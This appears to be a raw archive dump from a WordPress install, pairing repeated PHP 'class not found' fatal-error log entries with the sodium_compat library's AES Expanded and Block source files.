[24-Dec-2025 15:24:26 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES_KeySchedule' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10
[04-Jan-2026 10:11:16 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES_KeySchedule' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10
[04-Jan-2026 10:20:15 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES_KeySchedule' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10
[06-Jan-2026 01:23:20 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES_KeySchedule' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10
[06-Jan-2026 01:35:04 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES_KeySchedule' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10
[13-Jan-2026 06:30:11 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES_KeySchedule' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10
[14-Jan-2026 00:00:54 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES_KeySchedule' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10
[14-Jan-2026 00:18:12 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES_KeySchedule' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10
[21-Feb-2026 02:57:37 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES_KeySchedule' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10
Core/AES/Expanded.php000064400000000460152222652550010313 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core_AES_Expanded', false)) {
    return;
}

/**
 * @internal This should only be used by sodium_compat
 */
class ParagonIE_Sodium_Core_AES_Expanded extends ParagonIE_Sodium_Core_AES_KeySchedule
{
    /** @var bool $expanded */
    protected $expanded = true;
}
Core/AES/.htaccess000064400000000000152222652550007636 0ustar00Core/AES/Block.php000064400000024342152222652550007622 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core_AES_Block', false)) {
    return;
}

/**
 * @internal This should only be used by sodium_compat
 */
class ParagonIE_Sodium_Core_AES_Block extends SplFixedArray
{
    /**
     * @var array<int, int>
     */
    protected $values = array();

    /**
     * @var int
     */
    protected $size;

    /**
     * @param int $size
     */
    public function __construct($size = 8)
    {
        parent::__construct($size);
        $this->size = $size;
        $this->values = array_fill(0, $size, 0);
    }

    /**
     * @return self
     */
    public static function init()
    {
        return new self(8);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param array<int, int> $array
     * @param bool $save_indexes
     * @return self
     *
     * @psalm-suppress MethodSignatureMismatch
     */
    #[ReturnTypeWillChange]
    public static function fromArray($array, $save_indexes = null)
    {
        $count = count($array);
        if ($save_indexes) {
            $keys = array_keys($array);
        } else {
            $keys = range(0, $count - 1);
        }
        $array = array_values($array);
        /** @var array<int, int> $keys */

        $obj = new ParagonIE_Sodium_Core_AES_Block();
        if ($save_indexes) {
            for ($i = 0; $i < $count; ++$i) {
                $obj->offsetSet($keys[$i], $array[$i]);
            }
        } else {
            for ($i = 0; $i < $count; ++$i) {
                $obj->offsetSet($i, $array[$i]);
            }
        }
        return $obj;
    }


    /**
     * @internal You should not use this directly from another application
     *
     * @param int|null $offset
     * @param int $value
     * @return void
     *
     * @psalm-suppress MethodSignatureMismatch
     * @psalm-suppress MixedArrayOffset
     */
    #[ReturnTypeWillChange]
    public function offsetSet($offset, $value)
    {
        if (!is_int($value)) {
            throw new InvalidArgumentException('Expected an integer');
        }
        if (is_null($offset)) {
            $this->values[] = $value;
        } else {
            $this->values[$offset] = $value;
        }
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $offset
     * @return bool
     *
     * @psalm-suppress MethodSignatureMismatch
     * @psalm-suppress MixedArrayOffset
     */
    #[ReturnTypeWillChange]
    public function offsetExists($offset)
    {
        return isset($this->values[$offset]);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $offset
     * @return void
     *
     * @psalm-suppress MethodSignatureMismatch
     * @psalm-suppress MixedArrayOffset
     */
    #[ReturnTypeWillChange]
    public function offsetUnset($offset)
    {
        unset($this->values[$offset]);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $offset
     * @return int
     *
     * @psalm-suppress MethodSignatureMismatch
     * @psalm-suppress MixedArrayOffset
     */
    #[ReturnTypeWillChange]
    public function offsetGet($offset)
    {
        if (!isset($this->values[$offset])) {
            $this->values[$offset] = 0;
        }
        return (int) ($this->values[$offset]);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @return array
     */
    public function __debugInfo()
    {
        $out = array();
        foreach ($this->values as $v) {
            $out[] = str_pad(dechex($v), 8, '0', STR_PAD_LEFT);
        }
        return array(implode(', ', $out));
        /*
         return array(implode(', ', $this->values));
         */
    }

    /**
     * @param int $cl low bit mask
     * @param int $ch high bit mask
     * @param int $s shift
     * @param int $x index 1
     * @param int $y index 2
     * @return self
     */
    public function swapN($cl, $ch, $s, $x, $y)
    {
        static $u32mask = ParagonIE_Sodium_Core_Util::U32_MAX;
        $a = $this->values[$x] & $u32mask;
        $b = $this->values[$y] & $u32mask;
        // (x) = (a & cl) | ((b & cl) << (s));
        $this->values[$x] = ($a & $cl) | ((($b & $cl) << $s) & $u32mask);
        // (y) = ((a & ch) >> (s)) | (b & ch);
        $this->values[$y] = ((($a & $ch) & $u32mask) >> $s) | ($b & $ch);
        return $this;
    }

    /**
     * @param int $x index 1
     * @param int $y index 2
     * @return self
     */
    public function swap2($x, $y)
    {
        return $this->swapN(0x55555555, 0xAAAAAAAA, 1, $x, $y);
    }

    /**
     * @param int $x index 1
     * @param int $y index 2
     * @return self
     */
    public function swap4($x, $y)
    {
        return $this->swapN(0x33333333, 0xCCCCCCCC, 2, $x, $y);
    }

    /**
     * @param int $x index 1
     * @param int $y index 2
     * @return self
     */
    public function swap8($x, $y)
    {
        return $this->swapN(0x0F0F0F0F, 0xF0F0F0F0, 4, $x, $y);
    }

    /**
     * @return self
     */
    public function orthogonalize()
    {
        return $this
            ->swap2(0, 1)
            ->swap2(2, 3)
            ->swap2(4, 5)
            ->swap2(6, 7)

            ->swap4(0, 2)
            ->swap4(1, 3)
            ->swap4(4, 6)
            ->swap4(5, 7)

            ->swap8(0, 4)
            ->swap8(1, 5)
            ->swap8(2, 6)
            ->swap8(3, 7);
    }

    /**
     * @return self
     */
    public function shiftRows()
    {
        for ($i = 0; $i < 8; ++$i) {
            $x = $this->values[$i] & ParagonIE_Sodium_Core_Util::U32_MAX;
            $this->values[$i] = (
                ($x & 0x000000FF)
                    | (($x & 0x0000FC00) >> 2) | (($x & 0x00000300) << 6)
                    | (($x & 0x00F00000) >> 4) | (($x & 0x000F0000) << 4)
                    | (($x & 0xC0000000) >> 6) | (($x & 0x3F000000) << 2)
            ) & ParagonIE_Sodium_Core_Util::U32_MAX;
        }
        return $this;
    }

    /**
     * @param int $x
     * @return int
     */
    public static function rotr16($x)
    {
        return (($x << 16) & ParagonIE_Sodium_Core_Util::U32_MAX) | ($x >> 16);
    }

    /**
     * @return self
     */
    public function mixColumns()
    {
        $q0 = $this->values[0];
        $q1 = $this->values[1];
        $q2 = $this->values[2];
        $q3 = $this->values[3];
        $q4 = $this->values[4];
        $q5 = $this->values[5];
        $q6 = $this->values[6];
        $q7 = $this->values[7];
        $r0 = (($q0 >> 8) | ($q0 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX;
        $r1 = (($q1 >> 8) | ($q1 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX;
        $r2 = (($q2 >> 8) | ($q2 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX;
        $r3 = (($q3 >> 8) | ($q3 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX;
        $r4 = (($q4 >> 8) | ($q4 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX;
        $r5 = (($q5 >> 8) | ($q5 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX;
        $r6 = (($q6 >> 8) | ($q6 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX;
        $r7 = (($q7 >> 8) | ($q7 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX;

        $this->values[0] = $q7 ^ $r7 ^ $r0 ^ self::rotr16($q0 ^ $r0);
        $this->values[1] = $q0 ^ $r0 ^ $q7 ^ $r7 ^ $r1 ^ self::rotr16($q1 ^ $r1);
        $this->values[2] = $q1 ^ $r1 ^ $r2 ^ self::rotr16($q2 ^ $r2);
        $this->values[3] = $q2 ^ $r2 ^ $q7 ^ $r7 ^ $r3 ^ self::rotr16($q3 ^ $r3);
        $this->values[4] = $q3 ^ $r3 ^ $q7 ^ $r7 ^ $r4 ^ self::rotr16($q4 ^ $r4);
        $this->values[5] = $q4 ^ $r4 ^ $r5 ^ self::rotr16($q5 ^ $r5);
        $this->values[6] = $q5 ^ $r5 ^ $r6 ^ self::rotr16($q6 ^ $r6);
        $this->values[7] = $q6 ^ $r6 ^ $r7 ^ self::rotr16($q7 ^ $r7);
        return $this;
    }

    /**
     * @return self
     */
    public function inverseMixColumns()
    {
        $q0 = $this->values[0];
        $q1 = $this->values[1];
        $q2 = $this->values[2];
        $q3 = $this->values[3];
        $q4 = $this->values[4];
        $q5 = $this->values[5];
        $q6 = $this->values[6];
        $q7 = $this->values[7];
        $r0 = (($q0 >> 8) | ($q0 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX;
        $r1 = (($q1 >> 8) | ($q1 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX;
        $r2 = (($q2 >> 8) | ($q2 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX;
        $r3 = (($q3 >> 8) | ($q3 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX;
        $r4 = (($q4 >> 8) | ($q4 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX;
        $r5 = (($q5 >> 8) | ($q5 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX;
        $r6 = (($q6 >> 8) | ($q6 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX;
        $r7 = (($q7 >> 8) | ($q7 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX;

        $this->values[0] = $q5 ^ $q6 ^ $q7 ^ $r0 ^ $r5 ^ $r7 ^ self::rotr16($q0 ^ $q5 ^ $q6 ^ $r0 ^ $r5);
        $this->values[1] = $q0 ^ $q5 ^ $r0 ^ $r1 ^ $r5 ^ $r6 ^ $r7 ^ self::rotr16($q1 ^ $q5 ^ $q7 ^ $r1 ^ $r5 ^ $r6);
        $this->values[2] = $q0 ^ $q1 ^ $q6 ^ $r1 ^ $r2 ^ $r6 ^ $r7 ^ self::rotr16($q0 ^ $q2 ^ $q6 ^ $r2 ^ $r6 ^ $r7);
        $this->values[3] = $q0 ^ $q1 ^ $q2 ^ $q5 ^ $q6 ^ $r0 ^ $r2 ^ $r3 ^ $r5 ^ self::rotr16($q0 ^ $q1 ^ $q3 ^ $q5 ^ $q6 ^ $q7 ^ $r0 ^ $r3 ^ $r5 ^ $r7);
        $this->values[4] = $q1 ^ $q2 ^ $q3 ^ $q5 ^ $r1 ^ $r3 ^ $r4 ^ $r5 ^ $r6 ^ $r7 ^ self::rotr16($q1 ^ $q2 ^ $q4 ^ $q5 ^ $q7 ^ $r1 ^ $r4 ^ $r5 ^ $r6);
        $this->values[5] = $q2 ^ $q3 ^ $q4 ^ $q6 ^ $r2 ^ $r4 ^ $r5 ^ $r6 ^ $r7 ^ self::rotr16($q2 ^ $q3 ^ $q5 ^ $q6 ^ $r2 ^ $r5 ^ $r6 ^ $r7);
        $this->values[6] = $q3 ^ $q4 ^ $q5 ^ $q7 ^ $r3 ^ $r5 ^ $r6 ^ $r7 ^ self::rotr16($q3 ^ $q4 ^ $q6 ^ $q7 ^ $r3 ^ $r6 ^ $r7);
        $this->values[7] = $q4 ^ $q5 ^ $q6 ^ $r4 ^ $r6 ^ $r7 ^ self::rotr16($q4 ^ $q5 ^ $q7 ^ $r4 ^ $r7);
        return $this;
    }

    /**
     * @return self
     */
    public function inverseShiftRows()
    {
        for ($i = 0; $i < 8; ++$i) {
            $x = $this->values[$i];
            $this->values[$i] = ParagonIE_Sodium_Core_Util::U32_MAX & (
                ($x & 0x000000FF)
                    | (($x & 0x00003F00) << 2) | (($x & 0x0000C000) >> 6)
                    | (($x & 0x000F0000) << 4) | (($x & 0x00F00000) >> 4)
                    | (($x & 0x03000000) << 6) | (($x & 0xFC000000) >> 2)
            );
        }
        return $this;
    }
}
Core/error_log000064400001336552152222652550007376 0ustar00[24-Mar-2024 11:53:23 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php on line 12
[24-Mar-2024 11:53:24 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php on line 12
[24-Mar-2024 11:53:27 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php on line 10
[24-Mar-2024 11:53:27 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php on line 10
[24-Mar-2024 11:53:27 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[24-Mar-2024 11:53:29 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[24-Mar-2024 11:53:32 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[24-Mar-2024 11:53:45 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[24-Mar-2024 11:53:46 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php on line 10
[24-Mar-2024 11:53:49 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php on line 10
[24-Mar-2024 11:53:55 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php on line 10
[24-Mar-2024 11:53:56 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php on line 10
[24-Mar-2024 11:53:56 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php on line 10
[24-Mar-2024 11:54:01 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php on line 10
[24-Mar-2024 11:54:01 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Ed25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php:6
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php on line 6
[24-Mar-2024 11:54:01 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Ed25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php:6
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php on line 6
[24-Mar-2024 11:54:02 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php on line 10
[24-Mar-2024 11:54:06 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php on line 10
[24-Mar-2024 11:54:06 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php on line 12
[24-Mar-2024 11:54:09 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php on line 12
[24-Mar-2024 11:54:14 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php on line 10
[24-Mar-2024 11:54:14 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php on line 10
[24-Mar-2024 11:54:16 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php on line 10
[24-Mar-2024 11:54:19 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php on line 10
[24-Mar-2024 11:54:19 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php on line 10
[24-Mar-2024 11:54:35 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php on line 10
[24-Mar-2024 12:08:26 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php on line 12
[24-Mar-2024 12:08:26 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php on line 12
[24-Mar-2024 12:08:44 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php on line 10
[24-Mar-2024 12:08:47 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php on line 10
[24-Mar-2024 12:08:55 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[24-Mar-2024 12:09:01 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[24-Mar-2024 12:09:14 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[24-Mar-2024 12:09:14 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[24-Mar-2024 12:09:19 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php on line 10
[24-Mar-2024 12:09:19 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php on line 10
[24-Mar-2024 12:09:20 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php on line 10
[24-Mar-2024 12:09:22 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php on line 10
[24-Mar-2024 12:09:27 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php on line 10
[24-Mar-2024 12:09:27 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php on line 10
[24-Mar-2024 12:09:37 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Ed25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php:6
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php on line 6
[24-Mar-2024 12:09:37 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Ed25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php:6
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php on line 6
[24-Mar-2024 12:09:52 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php on line 10
[24-Mar-2024 12:09:52 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php on line 10
